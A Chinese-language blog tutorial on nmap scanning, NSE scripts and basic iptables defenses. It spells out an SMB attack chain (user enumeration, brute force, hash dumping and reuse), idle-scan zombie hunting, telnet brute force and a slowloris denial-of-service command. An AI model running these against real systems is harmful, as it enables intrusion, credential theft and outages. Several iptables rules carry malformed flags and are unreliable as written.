HACK LIKE A PRO

HACK LIKE A PRO

nmap原理探究及脚本使用&如何简单防御nmap



0x00 TCP连接过程:三次与四次握手

  • SYN: (同步序列编号,Synchronize Sequenc7、e Numbers)
  • ACK: (确认编号,Acknowledgement Number)
  • FIN: (结束标志,FINish)



我们先来看看tcp的建立连接与关闭连接


首先Client端发送连接请求报文,Server段接受连接后回复ACK报文,并为这次连接分配资源。Client端接收到ACK报文后也向Server段发生ACK报文,并分配资源,这样TCP连接就建立了。

![](http://images2015.cnblogs.com/blog/1062351/201611/1062351-20161113164336936-416444234.jpg)
完整的连接建立与结束过程

0x01 nmap功能介绍

1.主机存活检测 
2.端口探测 
3.服务识别&服务版本
4.操作系统识别 
5.漏洞扫描,使用nmap自带脚本

0x02 手册




Nmap官方中文手册


Nmap官方英文手册

0x03 主机发现

-PR     ARP协议,在子网内可以直接用这个协议,速度比tcp速度快

TCP:(PA)
如果发未经请求的ACK--RST?
tcp特点:没有建立连接的包会给来源ip发一个rst包
此种方法不会在防火墙留下记录,

-sn: Ping Scan 只进行主机发现,不进行端口扫描。  

-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程

-PS/PA/: 使用TCPSYN/ACK方式进行发现。  

-PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。

-n/-R: -n表示不进行DNS解析;-R表示总是进行DNS解析。  

0x04 端口扫描

-sS/sT/sA/:指定使用 TCP SYN/Connect()/ACK/ scans的方式来对目标主机进行扫描。  

-sU: 指定使用UDP扫描方式确定目标主机的UDP端口状况。  

-sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。  

--scanflags <flags>: 定制TCP包的flags。  

-sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)  

对网络指定端口随机扫描

nmap -sS -PS80 -iR 0 -p 80

当然最重要的是找自己想要搞的端口:)

0x05 服务探测

Nmap有350种以上协议如smtp,ftp,http等的大约3000条模式匹配。

-sV (版本探测)
打开版本探测。 -A同时打开操作系统探测和版本探测。

--version-all (尝试每个端口探测)

0x06 系统识别

-O

0x07 脚本的使用

  • auth: 负责处理鉴权证书(绕开鉴权)的脚本
  • broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
  • brute: 提供暴力破解方式,针对常见的应用如http/snmp等
  • default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
  • discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
  • dos: 用于进行拒绝服务攻击
  • exploit: 利用已知的漏洞入侵系统
  • external: 利用第三方的数据库或资源,例如进行whois解析
  • fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
  • intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
  • malware: 探测目标机是否感染了病毒、开启了后门等信息
  • safe: 此类与intrusive相反,属于安全性脚本
  • version: 负责增强服务与版本扫描(Version Detection)功能的脚本
  • vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067

测试mysql、ftp等服务,使用auth、brute等脚本



僵尸网络


![](http://images2015.cnblogs.com/blog/1062351/201611/1062351-20161113164420842-1195031844.jpg)
![](http://images2015.cnblogs.com/blog/1062351/201611/1062351-20161113164428217-1362597916.png)
step 1 :
寻找一个可以利用的zombie:
nmap 192.168.32.0/24 --script=ipidseq -n -v 

step 2 :
利用僵尸机进行扫描
nmap 192.168.32.0/24 -sI 192.168.32.xx -n -v 

寻找僵尸机:
nmap -iR 0 --script=ipidseq

以smb服务为例,测试脚本

探测安全模式
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-security-mode
主机发现
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-os-discovery
列举共享文件
nmap -n -sV 192.168.32.129 -v -p 445 --script=smb-enum-shares --script-args=smbuser=administrator,smbpass=clay

TEST:

Step 1: discovery
nmap -n -v --script=smb-os-discovery 192.168.32.0/24

Step 2: Generate user list
nmap -n -v --script=smb-enum-users 192.168.32.0/24

Step 3: Brute force known user accounts
nmap -n -v --script=smb-brute --script-args=userdb=c:\Users\whois\Desktop\username.txt 192.168.32.0/24

Step 4: Dump hashes and try cracking 
nmap -p445 --script=smb-pwdump --script-args=smbuser=test,smbpass=test,rcrack=rcrack,rtable=alpha/*.rt 192.168.32.0/24

Step 5: Try using discovered hashes
nmap -p445 --script=smb-brute --script-args=userdb=usernames.txt,passdb=passwords.txt 192.168.32.0/24

Step 6: Dump hashes and try cracking (again)
-p445 --script=smb-pwdump --script-args=smbuser=mary,smbhash=ADA65BF48C2CB30AE608489E290618AA,rcrack=rcrack,rtable=alpha/*.rt 192.168.32.20

Step 7: Login

常用脚本

nmap --script http-slowloris --max-parallelism 400 192.168.137.4  dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections

nmap -sV --script=telnet-brute 192.168.137.4          telnet破解  

nmap --script=broadcast-netbios-master-browser 192.168.137.4   发现网关  

0x08 输出格式

  • 扫描结果输出为xml
nmap <target> -oX name.xml
  • 随机寻找目标
nmap -sS -PS80 -iR 0 -p80

0x09 脚本分析:

下次再说.

lua语言编写

Learn Lua in 15 Minutes

0x10 防御

iptables

常见命令:
-A, --append 新增规则(追加方式)
-D, --delete 删除规则
-L, --list 列出某规则链中的所有规则 iptables -L INPUT
常见参数:
-p, --protocol 指定协议
-d, --dst, --destination 指定目的地址
-i, --in-interface 指定入口网卡 iptables -A INPUT -i eth0 (-i eth+ 所有网卡)
--dport, --destination-port 目的端口
-j 指定对包的处理(ACCEPT、DROP、REJECT、REDIRECT)

example:

sudo iptables -A INPUT -p icmp -j ACCEPT  
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT  

防御设置


iptables -F 
清除预设表filter中的所有规则链的规则    

iptables -A INPUT -p tcp –tcp-flags ALL FIN,URG,PSH -j Drop 

iptables -A INPUT -p tcp –tcp-flags SYN,RST SYN,RST -j Drop 

iptables -A INPUT -p tcp –tcp-flags SYN,FIN SYN,FIN -j Drop 

iptables -A INPUT -p tcp –tcp-flags SyN SYN –dport 80 -j Drop

sudo iptables -A INPUT -p icmp -j Drop

sudo iptables -A FORWARD -f -m limit --limit 100/s --limit-burst 100 -j ACCEPT  

posted @ 2016-11-13 16:47  C1AY  阅读(267)  评论(1)    收藏  举报